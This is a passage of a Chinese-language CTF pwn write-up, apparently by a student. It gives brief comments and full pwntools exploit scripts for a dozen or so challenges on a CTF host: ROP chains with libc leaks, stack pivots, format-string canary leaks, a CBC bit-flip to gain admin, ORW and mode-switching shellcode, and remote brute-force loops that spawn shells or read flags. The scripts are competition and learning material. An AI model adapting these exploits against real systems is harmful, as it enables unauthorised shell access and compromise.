 \# for i in range(0x10):
 \#   alloc(str(i).encode(), str(i).encode())
 
 alloc(b'/bin/sh\x00', b'0')
 alloc(b'1', b'1')
 
 \# gdb.attach(io, 'b *0x4017e8')
 
 edit(-4, p64(set_buf) + p64(printf) + p64(system))
 
 delete(0)
 
 io.interactive()
 
 \# dbg()

FindG???t

有了over_flow???的经验,加上之前就听过可以在libc_start_main附近找0x0f05当syscall的手法,就直接加了个爆破,甚至懒得问ai,写了个0x00~0xff遍历[捂脸]

python 复制代码
from pwn import *
 
 \# io = process("./pwn")
 
 elf = ELF("./pwn")
 libc = elf.libc
 
 context.terminal = ["tmux", "new-window"]
 context.log_level = "debug"
 
 \# gdb.attach(io)
 
 bytes_for = [b'\x00', b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06', b'\x07', b'\x08', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x0e', b'\x0f', b'\x10', b'\x11', b'\x12', b'\x13', b'\x14', b'\x15', b'\x16', b'\x17', b'\x18', b'\x19', b'\x1a', b'\x1b', b'\x1c', b'\x1d', b'\x1e', b'\x1f', b'\x20', b'\x21', b'\x22', b'\x23', b'\x24', b'\x25', b'\x26', b'\x27', b'\x28', b'\x29', b'\x2a', b'\x2b', b'\x2c', b'\x2d', b'\x2e', b'\x2f', b'\x30', b'\x31', b'\x32', b'\x33', b'\x34', b'\x35', b'\x36', b'\x37', b'\x38', b'\x39', b'\x3a', b'\x3b', b'\x3c', b'\x3d', b'\x3e', b'\x3f', b'\x40', b'\x41', b'\x42', b'\x43', b'\x44', b'\x45', b'\x46', b'\x47', b'\x48', b'\x49', b'\x4a', b'\x4b', b'\x4c', b'\x4d', b'\x4e', b'\x4f', b'\x50', b'\x51', b'\x52', b'\x53', b'\x54', b'\x55', b'\x56', b'\x57', b'\x58', b'\x59', b'\x5a', b'\x5b', b'\x5c', b'\x5d', b'\x5e', b'\x5f', b'\x60', b'\x61', b'\x62', b'\x63', b'\x64', b'\x65', b'\x66', b'\x67', b'\x68', b'\x69', b'\x6a', b'\x6b', b'\x6c', b'\x6d', b'\x6e', b'\x6f', b'\x70', b'\x71', b'\x72', b'\x73', b'\x74', b'\x75', b'\x76', b'\x77', b'\x78', b'\x79', b'\x7a', b'\x7b', b'\x7c', b'\x7d', b'\x7e', b'\x7f', b'\x80', b'\x81', b'\x82', b'\x83', b'\x84', b'\x85', b'\x86', b'\x87', b'\x88', b'\x89', b'\x8a', b'\x8b', b'\x8c', b'\x8d', b'\x8e', b'\x8f', b'\x90', b'\x91', b'\x92', b'\x93', b'\x94', b'\x95', b'\x96', b'\x97', b'\x98', b'\x99', b'\x9a', b'\x9b', b'\x9c', b'\x9d', b'\x9e', b'\x9f', b'\xa0', b'\xa1', b'\xa2', b'\xa3', b'\xa4', b'\xa5', b'\xa6', b'\xa7', b'\xa8', b'\xa9', b'\xaa', b'\xab', b'\xac', b'\xad', b'\ae', b'\xaf', b'\xb0', b'\xb1', b'\xb2', b'\xb3', b'\xb4', b'\xb5', b'\xb6', b'\xb7', b'\xb8', b'\xb9', b'\xba', b'\xbb', b'\xbc', b'\xbd', b'\xbe', b'\xbf', b'\xc0', b'\xc1', b'\xc2', b'\xc3', b'\xc4', b'\xc5', b'\xc6', b'\xc7', b'\xc8', b'\xc9', b'\xca', b'\xcb', b'\xcc', b'\xcd', b'\xce', b'\xcf', b'\xd0', b'\xd1', b'\xd2', b'\xd3', b'\xd4', b'\xd5', b'\xd6', b'\xd7', b'\xd8', b'\xd9', b'\xda', b'\xdb', b'\xdc', b'\xdd', b'\xde', b'\xdf', b'\xe0', b'\xe1', b'\xe2', b'\xe3', b'\xe4', b'\xe5', b'\xe6', b'\xe7', b'\xe8', b'\xe9', b'\xea', b'\xeb', b'\xec', b'\xed', b'\xee', b'\xef', b'\xf0', b'\xf1', b'\xf2', b'\xf3', b'\xf4', b'\xf5', b'\xf6', b'\xf7', b'\xf8', b'\xf9', b'\xfa', b'\xfb', b'\xfc', b'\xfd', b'\xfe', b'\xff']
 
 for i in bytes_for:
   \# io = process("./pwn2.34")
   io = remote("nc1.ctfplus.cn", 17014)
   try:
     io.recvuntil(b'> \n')
     io.send(b'/bin/sh\x00')
 
     io.recvuntil(b'index:\n')
     io.sendline(b'88')
     io.sendline(i)
 
     io.recvuntil(b'index2:\n')
 
     \# gdb.attach(io, 'b *0x401158')
 
     io.sendline(b'59')
     io.sendline(b'cat flag')
     if b'{' in io.recv():
       io.interactive()
     else:
       io.close()
       continue
   except:
     io.close()
     continue

struct_one_byte

又让我以为是堆题,然后发现给了后门和泄漏,觉得大事肯定不简单

然后一看代码,太乱了,不想逆,直接调上了。。。

当然题目名字给了提示,直接能注意到结构体最后的0x40会覆盖下一结构体标志着编辑长度的size,那就好办了,直接写调用函数地址为system加控rdi就行了(别问为啥不写backdoor,纯粹想试试行不行,)

python 复制代码
from pwn import *
 
 \# io = process("./struct")
 io = remote("nc1.ctfplus.cn", 11246)
 
 elf = ELF("./struct")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 io.recv()
 io.sendline(b'4')
 
 io.recvuntil(b'gift\naddr:')
 printf_addr = int(io.recv(14), 16)
 lg('printf_addr', printf_addr)
 libcbase = printf_addr - libc.symbols['printf']
 lg('libcbase', libcbase)
 puts_addr = libcbase + libc.symbols['puts']
 lg('puts_addr', puts_addr)
 system_addr = libcbase + libc.symbols['system']
 
 def choose(choice):
   io.sendlineafter(b'3. change player info:', str(choice).encode())
 
 def alloc(id, name, info, student=2):
   choose(1)
   io.sendlineafter(b'Index:', str(id).encode())
   if 2 == student:
     io.sendlineafter(b'>', str(2).encode())
   elif 1 == student:
     io.sendlineafter(b'>', str(1).encode())
   io.sendlineafter(b'name :', name)
   io.sendlineafter(b'info :', info)
 
 def edit(id, name):
   choose(3)
   io.sendlineafter(b'input index:', str(id).encode())
   io.sendafter(b'name :', name)
     
 def work(id):
   choose(2)
   io.sendlineafter(b'input index:', str(id).encode())
 
 alloc(1, b'/bin/sh\x00', b'/bin/sh\x00')
 alloc(0, b'0', b'0')
 \# alloc(1, b'1', b'1', 1)
 \# alloc(0xf, b'15', b'15')
 
 edit(1, b'/bin/sh\x00'*2 + p64(system_addr) + b'/bin/sh\x00'*2)
 
 \# gdb.attach(io)
 
 work(1)
 
 io.interactive()
 
 \# dbg()

stack_overflow

把栈地址甩脸上了,直接行动,要加个栈地址,到现在还不知道向buf写的判断是用来干嘛的

python 复制代码
from pwn import *
 
 \# io = process("./pwn")
 io = remote("nc1.ctfplus.cn", 36068)
 
 context.terminal = ["tmux", "new-window"]
 context.log_level = "debug"
 
 elf = ELF("./pwn")
 
 libc = elf.libc
 
 io.recvuntil(b"give this gift:")
 
 \# gdb.attach(io)
 
 take = u64(io.recv(6).ljust(8, b"\x00"))
 print(hex(take))
 
 \# gdb.attach(io)
 
 io.recv()
 io.send(p64(take + 0x29))
 
 io.recv()
 io.send(b'\x00'*0x7)
 
 io.recv()
 payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(0x000000000040123f) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(0x401350)
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
 print(hex(puts_addr))
 libcbase = puts_addr - libc.symbols['puts']
 print(hex(libcbase))
 system_addr = libcbase + libc.symbols['system']
 print(hex(system_addr))
 binsh_addr = libcbase + next(libc.search(b"/bin/sh"))
 print(hex(binsh_addr))
 one_gadget = libcbase + 0xebc88
 print(hex(one_gadget))
 
 \# gdb.attach(io)
 
 payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(one_gadget)
 
 io.send(payload)
 
 io.interactive()

WhoIsAdmin

提示直接把考点讲了,觉得已经不能再简单了,都可以当例题了

数组溢出买下系统,然后用CBC翻转攻击的脚本转换明文,就可以直接用改系统名的溢出打正常ROP(决定拿来当例题给新生讲,嘻嘻)

python 复制代码
from pwn import *
 from LibcSearcher import *

 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 \# io = process("./whoisadmin")
 io = remote('nc1.ctfplus.cn', 33679)

 elf = ELF("./whoisadmin")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc

 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))

 from Crypto.Util.strxor import strxor
 import binascii

 def decrypt(string):
   \# 动态输入密文和目标明文块
   ciphertext_hex = string # 示例密文
   ciphertext = binascii.unhexlify(ciphertext_hex)

   \# 定义块大小(通常为16字节)
   BLOCK_SIZE = 16

   \# 确保密文长度足够长,至少包含两个块
   if len(ciphertext) < 2 * BLOCK_SIZE:
     raise ValueError("密文太短,至少需要包含两个块。")

   \# 分离前两块密文
   C_0 = ciphertext[:BLOCK_SIZE] # 第一块
   C_1 = ciphertext[BLOCK_SIZE:2*BLOCK_SIZE] # 第二块

   \# 定义已知的原始明文块和目标明文块
   original_plaintext = b"BinaryCryptoYYDS" # 原始明文前16字节
   target_plaintext = b"AdminAdminAdminA"  # 目标明文前16字节

   \# 计算所需的异或调整量
   delta = strxor(original_plaintext, target_plaintext)

   \# 修改C_0,使得解密C_1时得到目标明文
   new_C_0 = strxor(C_0, delta)

   \# 组合新的密文,保持C_1不变
   modified_ciphertext = new_C_0 + C_1 + ciphertext[2*BLOCK_SIZE:] # 仅修改第一个块

   \# 输出结果
   print("原始密文: ", ciphertext_hex.decode())
   print("修改后的密文: ", binascii.hexlify(modified_ciphertext).decode())

   return binascii.hexlify(modified_ciphertext).decode()

 def choose(choice):
   io.sendlineafter(b'Your choice: >', str(choice).encode())

 def new_normal_count():
   choose(1)
   io.recvuntil(b'Your account authcode: ')
   return decrypt(io.recvuntil(b'\n', drop=True))

 def show_money():
   choose(3)

 def buy_max_accountLimit(number):
   choose(4)
   io.sendlineafter(b'Tell me when check is equal to how much, (check**17 mod 281443 == 222876) is satisfied???', str(1640).encode())
   io.sendlineafter(b'How many accounts do you want to add?', str(number).encode())

 def show_max_accountLimit():
   choose(5)

 def buy_system():
   choose(6)

 def try_to_login(name):
   choose(7)
   io.sendlineafter(b'Please Input your account authcode:', name)

 def change_system_name(new_system_name):
   choose(8)
   io.sendlineafter(b'Please input the new system name: ', new_system_name)

 buy_max_accountLimit(-100000)
 buy_system()

 attack = new_normal_count()

 try_to_login(attack)

 \# gdb.attach(io)

 pop_rdi = 0x0000000000402db3
 ret = 0x000000000040101a
 payload = b'A'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x402C23)

 change_system_name(payload)

 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 libc = LibcSearcher('puts', puts_addr)
 lg('puts_addr', puts_addr)
 libcbase = puts_addr - libc.dump('puts')
 lg('libcbase', libcbase)
 system = libcbase + libc.dump('system')
 lg('system_addr', system)
 binsh = libcbase + libc.dump('str_bin_sh')
 lg('bin_sh_addr', binsh)

 payload = b'A'*0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

 change_system_name(payload)

 io.interactive()

 \# dbg()

 

stdout

蛮有意思,虽然我本来就知道设置缓冲区后write还是能够直接用fd正常工作,不过还是觉得给了提示,也可以当例题,再偷一道,哈哈

直接调试发现寄存器和返回地址残留修改后跳转到write前方就可以一次性泄漏出elf和libc的基址然后正常ROP,当时one_gadget死活打不通,找了师傅,还没找到题作者,直接换成system就出了,还是太懒了,哈哈

from pwn import *

python 复制代码
# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 # io = process("./pwn")
 # io = remote('nc1.ctfplus.cn', 35132)
 
 elf = ELF("./pwn")
 # libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 # gdb.attach(io, 'b vuln')
 
 # shellcode = '''
 # syscall
 # '''
 # shellcode = asm(shellcode, arch='amd64')
 # payload = shellcode.ljust(0x38, b'\x00')
 # payload = b'\x0f\x05'
 # payload = payload.ljust(0x38, b'\x00')
 # payload = asm(shellcraft.amd64.linux.sh())
 # print(payload)
 # payload = b'A'*0x28
 while True:
   # io = process("./pwn")
   io = remote('nc1.ctfplus.cn', 35132)
   try:
     payload = b'A'*0x8
 
     # io.send(b'A'*(0x50-0x3d) + p64(0xbfa7b))
     io.send(payload)
     # io.sendline()
 
     io.recvuntil(b'???,out??')
 
     # io.sendline()
     # io.send(b'AAA')
     # io.send(b'A'*0x40 + b'\x00')
     # io.send(b'A'*0x40 + p64(0)*3 + b'\xfe\x8a\xeb')
     # io.send(b'A'*0x40 + p64(0) + b'\xfb\x53')
    # io.send(b'A'*0x40 + p64(0) + b'\x03\x54')
     # io.send(b'A'*0x40 + p64(0) + b'\xfc\x53')
     # io.send(b'A'*0x40 + p64(0) + b'\xd0\x80')
     io.send(b'A'*0x40 + p64(0) + b'\x78\x53')
 
     io.recvuntil(b'A'*0x40)
     io.recv(0x8)
     elfbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1382
     lg('elfbase', elfbase)
 
     pop_rdi = elfbase + 0x0000000000001403
     lg('pop_rdi', pop_rdi)
 
     ret = elfbase + 0x000000000000101a
     lg('ret', ret)
 
     bss = elfbase + 0x5040
     lg('bss', bss)
 
     take = elfbase + 0x1310
     lg('take', take)
 
     pop_all = elfbase + 0x00000000000013fc
     lg('pop_all', pop_all)
 
     io.recv(0xa)
     libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083
     lg('libcbase', libcbase)
 
     system = libcbase + libc.symbols['system']
     lg('system', system)
 
     binsh = libcbase + next(libc.search(b'/bin/sh'))
     lg('binsh', binsh)
 
     onegadget = libcbase + 0xe3afe
     lg('onegadget', onegadget)
 
     io.recv()
 
     \# gdb.attach(io)
 
     # payload = b'A'*0x48 + p64(onegadget)
     # payload = b'A'*0x48 + p64(pop_rdi) + p64(binsh) + p64(system)
     # io.send(payload)
 
     payload = b'A'*(0x40) + p64(bss + 0x40) + p64(take)
     io.send(payload)
 
     payload = b'B'*(0x40) + p64(bss + 0x40+0x40) + p64(take)
     io.send(payload)
 
     payload = p64(bss + 0x40+0x40 + 0x10) + p64(take)
     io.send(payload)
 
     # gdb.attach(io)
 
     payload = p64(ret)*2 + p64(pop_rdi) + p64(binsh) + p64(system)
     # payload = b'A'*0x8 + p64(pop_all) + p64(0)*4 + p64(onegadget)
     io.send(payload)
     io.interactive()
   except:
     io.close()
     continue

简单的签到

没啥好说的,甚至不用会pwn

python 复制代码
from pwn import *
 
 \# io = process("./main")
 io = remote("nc1.ctfplus.cn", 35889)
 
 io.recv()
 io.recv()
 
 io.sendline()
 
 calc = io.recvuntil(b'=', drop=True)
 
 take = eval(calc)
 
 io.sendline(str(take).encode())
 
 io.interactive()

这里的空间有点小啊

read接栈迁的板子题了,调下长度和bss就能打通

python 复制代码
from pwn import *
 
 \# io = process("./main")
 io = remote("nc1.ctfplus.cn", 16336)
 
 context.terminal = ["tmux", "new-window"]
 context.log_level = "debug"
 
 elf = ELF('./main')
 libc = elf.libc
 
 io.recvuntil(b'[1] Write something\n[2] Give you a flag\n>>')
 io.sendline(b'1')
 io.recvuntil(b'Now you can write something')
 
 bss = 0x601020 + 0x100
 
 payload = b'A'*0x30 + p64(bss) + p64(0x40071C)
 io.send(payload)
 
 payload = b'B'*0x30 + p64(bss + 0x30) + p64(0x40071C)
 io.send(payload)
 
 payload = p64(bss + 0x30 + 0x10) + p64(0x0000000000400853) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40071C)
 io.send(payload)
 
 io.recv(1)
 
 libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
 print(hex(libcbase))
 system = libcbase + libc.sym['system']
 print(hex(system))
 
 og = libcbase + 0x4f302
 
 payload = b'A'*0x20 + p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
 io.send(payload)
 
 io.interactive()

真的能走到后门吗

具体通过泄漏能够拿到程序自己和保护给的两个canary,然后回去重新用printf写一位返回地址到后门就行了

python 复制代码
from pwn import *
 
 \# io = process("./fmt")
 io = remote("nc1.ctfplus.cn", 18593)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 
 elf = ELF('./fmt')
 libc = elf.libc
 
 io.recv()
 io.send(p64(0x404018))
 
 io.recv()
 
 payload = b'%' + str(0x127D).encode() + b'c%16$hn'
 payload = b'%14$p%17$p'
 payload = payload.ljust(0x10, b'\x00')
 
 \# gdb.attach(io)
 
 \# io.send(b'KKKKKKKK')
 io.send(payload)
 \# io.send(payload)
 
 \# io.recvline()
 io.recvuntil(b'your name:\n')
 take = int(io.recv(14), 16)
 print(hex(take))
 canary = int(io.recv(18), 16)
 print(hex(canary))
 
 \# gdb.attach(io)
 
 io.recvuntil(b'What do you want to say?\n')
 
 payload = b'A'*0x38 + p64(canary) + p64(take) + b'\x9D' # p64(0x40127D) # p64(0x5D)
 \# payload = payload.ljust(0x70, b'A')
 
 io.send(payload)
 
 \# gdb.attach(io, 'b vuln')
 
 io.recv()
 io.send(p64(take - 0x27))
 \# io.send(b'\x66\x66\x66')
 
 payload = b'%' + str(0x12).encode() + b'c%16$hhn'# + b'%' + str(0x7D - 0x12).encode() + b'c%16$hhn'
 print(hex(len(payload)))
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 io.recvuntil(b'What do you want to say?\n')
 
 payload = b'A'*0x38 + p64(canary) + p64(take - 0x10) + b'\x85' # p64(0x40127D) # p64(0x5D)
 \# payload = payload.ljust(0x70, b'A')
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 io.interactive()

 

ez_fmt

确实简单,我当printf打了。。。

Scanf更简单,只要知道偏移就能够任意写任意类型了

python 复制代码
from pwn import *
 
 \# io = process("./pwn")
 io = remote("nc1.ctfplus.cn", 25743)
 
 elf = ELF("./pwn")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 
 \# io.recv()
 \# payload = b'0x18'
 
 \# # gdb.attach(io, 'b *0x55555555532e')
 
 \# io.sendline(payload)
 
 \# main = u64(io.recv(6).ljust(8, b'\x00')) - 53
 \# log.info(f"Main addr: {hex(main)}")
 \# elfbase = main - elf.symbols['main']
 \# log.info(f"Elf base: {hex(elfbase)}")
 \# count_addr = elfbase + 0x4010
 \# log.info(f"Count addr: {hex(count_addr)}")
 
 io.recv()
 payload = b'0x9'
 
 \# gdb.attach(io, 'b *0x55555555532e')
 
 io.sendline(payload)
 
 canary = u64(io.recv(7).rjust(8, b'\x00'))
 log.info(f"Canary: {hex(canary)}")
 stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
 log.info(f"Stack addr: {hex(stack_addr)}")
 
 io.recv()
 payload = b'0x38'
 
 \# gdb.attach(io, 'b *0x55555555533e')
 
 io.sendline(payload)
 
 libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 243
 log.info(f"Libc start main addr: {hex(libc_start_main_addr)}")
 libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']
 log.info(f"Libc base: {hex(libcbase)}")
 system_addr = libcbase + libc.symbols['system']
 log.info(f"System addr: {hex(system_addr)}")
 binsh_addr = libcbase + next(libc.search(b"/bin/sh"))
 log.info(f"Binsh addr: {hex(binsh_addr)}")
 one_gadget_addr = libcbase + 0xe3b01
 log.info(f"One gadget addr: {hex(one_gadget_addr)}")
 
 \# high_sys = (one_gadget_addr >> 16) & 0xff # 提取前两位
 one_gadget = one_gadget_addr & 0xffffffff # 提取后四位
 log.info(f"one_gadget addr: {hex(one_gadget)}")
 
 io.recv()
 payload = p64(stack_addr - 0x18) + p64(0) + b'%6$d'
 payload = payload.ljust(0x20, b'\x00')
 \# payload = b'A'*8 + b'B'*0x8
 print(hex(len(payload)))
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 io.sendline(str(one_gadget).encode())
 
 io.interactive()

hard_orw

对新生可能有点不友好,但是也就是要转一下模式有32位的open,然后用64位的sendfile就行了,其它的没啥难点,搓一下就出了

python 复制代码
from pwn import *
 
 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 io = process("./sandbox")
 \# io = remote('nc1.ctfplus.cn', 37876)
 
 elf = ELF("./sandbox")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 \# gdb.attach(io)
 
 io.recvuntil(b'Please input your id')
 io.send(b'\x00\x00\x00\x00')
 io.recvuntil(b'Please input your age')
 io.send(b'\xf0\x15\x40\x00')
 io.recv()
 
 
   \# push  0x67616c66
   \# push  0x2
   \# pop  rax
   \# mov  rdi,rsp
   \# xor  rsi,rsi
   \# syscall 
 
 \# mov rsp, 0x405100
 \# push 0x23
 \# add rsi, 9
 \# push rsi
 \# retfq
 
 shellcode = '''
 mov rsp, 0x405100
 push 0x23
 add rsi, 0x10
 push rsi
 retfq
 '''
 
 shellcode1 = '''
 push 0x67616c66
 add esi, 0xec
 mov ebx,esp
 xor ecx,ecx
 xor edx,edx
 mov eax,5
 int 0x80
 
 push 0x33
 sub esi, 0x100
 add esi, 0x39
 push esi
 retf
 '''
 
 shellcode2 = '''
 mov rdi, 1
 mov rsi, 3
 push 0
 mov rdx, rsp
 mov r10, 0x100
 push SYS_sendfile
 pop rax
 syscall
 '''
 shellcode = asm(shellcode)
 shellcode1 = asm(shellcode1, arch='i386', bits=32)
 shellcode2 = asm(shellcode2)
 shellcode += shellcode1
 shellcode += shellcode2
 shellcode = shellcode.ljust(0x1000, b'\x00')
 \# payload = b'\xe8\xfc\xf0\xff\x00'
 \# payload = b'\xE9\xfb\xf0\xff\xff'
 \# payload = b'H\x83\xed\x18\xc3'
 \# payload = b'\xc3'
 payload = b'\xffU\xf0'
 
 \# gdb.attach(io)
 
 io.recvuntil(b'Perhaps you should learn "ret" and "fd" first')
 
 io.send(payload)
 
 \# pause()
 \# gdb.attach(io)
 
 io.send(shellcode)
 
 io.interactive()

你会栈溢出吗

直接到后门

python 复制代码
from pwn import *
 
 # io = process("./stackover")
 io = remote("nc1.ctfplus.cn", 17766)
 
 io.recv()
 
 payload = b'A'*(0xC + 0x8) + p64(0x40073D)
 
 io.sendline(payload)
 
 io.interactive()

 

orz?orw!

jmp rsp到最后才想起来,打了半天leave_ret然后都报错。。。

此外就是神奇的复现的时候本地打不通了。。。

最大的问题其实是不能用\x00来泄漏canary又要用来当作read的长度参数,但是太长read是不会成功执行的,最开始本地调试到0x66可以才选的,并且远端也成功了,结果本地复现不成功,不然也想当例题的,等wp了

python 复制代码
from pwn import *

 io = process("./orw")
 \# io = remote("nc1.ctfplus.cn", 39115)

 \# elf = ELF("./orw")
 \# libc = elf.libc

 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'

 io.recvuntil(b'please input your size:')

 shellcode = '''
   push  0x67616c66
   push  0x2
   pop  rax
   mov  rdi,rsp
   xor  rsi,rsi
   syscall 
   mov rdi, 1
   mov rsi, 3
   push 0
   mov rdx, rsp
   mov r10, 0x100
   push SYS_sendfile
   pop rax
   syscall
 '''
 shellcode = asm(shellcode)
 print(len(shellcode))

 \# gdb.attach(io)

 io.sendline(str(4).encode())

 io.recvuntil(b'Please input your name:')
 \# payload = b'\x66'*0xa
 payload = b'\x66'*(0xa)

 \# gdb.attach(io, 'b *0x401382')

 io.send(payload)

 \# io.recvuntil(b'\x66'*0xa)
 io.recvuntil(payload)

 canary = u64(io.recv(7).rjust(8, b'\x00'))
 log.info(f"Canary: {hex(canary)}")
 \# stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
 \# log.info(f"Stack addr: {hex(stack_addr)}")

 io.recvuntil(b'give me your id')
 payload = b'\x00'*0x4 + p64(canary) + p64(0x4040a0+0x30) + p64(0x4012A7) + shellcode

 gdb.attach(io, 'b *0x4013c1')

 io.send(payload)

 io.interactive()

ez_shellcode

写完shellcode跳转过去

python 复制代码
from pwn import *
 
 \# io = process("./shellcode")
 io = remote("nc1.ctfplus.cn", 27071)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 context.arch = 'amd64'
 
 payload = asm(shellcraft.sh())
 \# payload = b'KKKK'
 
 \# gdb.attach(io)
 
 io.sendafter(b'do you know shellcode?', payload)
 
 \# gdb.attach(io)
 
 \# io.sendline(b'A'*0x20 + p64(0x0000000000401463) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4013E0))
 io.sendlineafter(b'please input your name:', b'A'*0x20 + p64(0x401256))
 
 io.interactive()

学校的烂电梯plus

看注释也能发现,哈哈爆破出来的,想过要住栈上打一个函数的返回,但是没想到打谁,爆破出了回去调发现是read,后来的pro里把栈顶的去掉了就寄了。。。

python 复制代码
from pwn import *
 
 io = process("./pwn")
 \# io = remote("nc1.ctfplus.cn", 34720)
 
 elf = ELF("./pwn")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 print(elf.plt['puts'])
 
 \# io.recv()
 \# gdb.attach(io)
 gdb.attach(io, 'b *0x40134d')
 \# gdb.attach(io, 'b *0x401389')
 \# gdb.attach(io, 'b *0x4013cb')
 
 \# io.sendline(str(-0x20).encode())
 \# io.sendline(str(-0xc).encode())
 \# io.sendline(str(-0).encode())
 \# io.sendline(str(-0x2).encode())
 \# io.sendline(str(-0x4).encode())
 \# io.sendline(str(-0x6).encode())
 \# io.sendline(str(-0x8).encode())
 \# io.sendline(str(-0xa).encode())
 \# io.sendline(str(-0xc).encode())
 \# io.sendline(str(-0xe).encode())
 \# io.sendline(str(-0x12).encode())
 \# io.sendline(str(-0x20).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(-0x22).encode())
 \# io.sendline(str(0x2).encode())
 
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(-2).encode())
 io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 
 \# io.recv()
 \# io.recv()
 
 import struct
 
 \# target_value = 0x4013BA
 target_value = 0
 double_value = struct.unpack('d', struct.pack('Q', target_value))[0]
 
 io.sendlineafter(b'which one you want to call?', str(double_value).encode())
 
 pop_rdi = 0x000000000040127f
 
 payload = p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
 
 io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)
 
 io.recv()
 
 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 lg('puts_addr', puts_addr)
 libcbase = puts_addr - libc.symbols['puts']
 lg('libcbase', libcbase)
 system_addr = libcbase + libc.symbols['system']
 lg('system_addr', system_addr)
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 lg('str_bin_sh', str_bin_sh)
 
 io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())
 
 \# target_value = 0x4013BA
 target_value = 0
 double_value = struct.unpack('d', struct.pack('Q', target_value))[0]
 
 io.sendlineafter(b'which one you want to call?', str(double_value).encode())
 
 ret = 0x000000000040101a
 
 payload = p64(0) + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) # + p64(elf.symbols['main'])
 
 io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)
 
 \# io.sendlineafter(b'how many floors do you want to go?', str(-0x2).encode())
 
 \# io.recv()
 
 \# io.sendline(str(-0xc).encode())
 
 \# io.recv()
 
 \# io.sendline(str(2.0747565e-317).encode())
 
 \# io.recv()
 
 \# io.sendline(b'A'*0x8)
 
 \# # io.sendline(str(2.0747585e-317).encode())
 
 io.interactive()

su~~~~

没懂题目名叫su干嘛,直接ROP就出了

python 复制代码
from pwn import *
 
 \# io = process("./csu")
 io = remote("nc1.ctfplus.cn", 29975)
 
 context(arch='amd64', os='linux')
 context.log_level = "debug"
 context.terminal = ['tmux', 'new-window']
 
 elf = ELF("./csu")
 libc = elf.libc
 
 io.recv()
 io.sendline(b'1')
 payload = b'A'*0x88 + p64(0x0000000000400903) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
 io.sendline(payload)
 
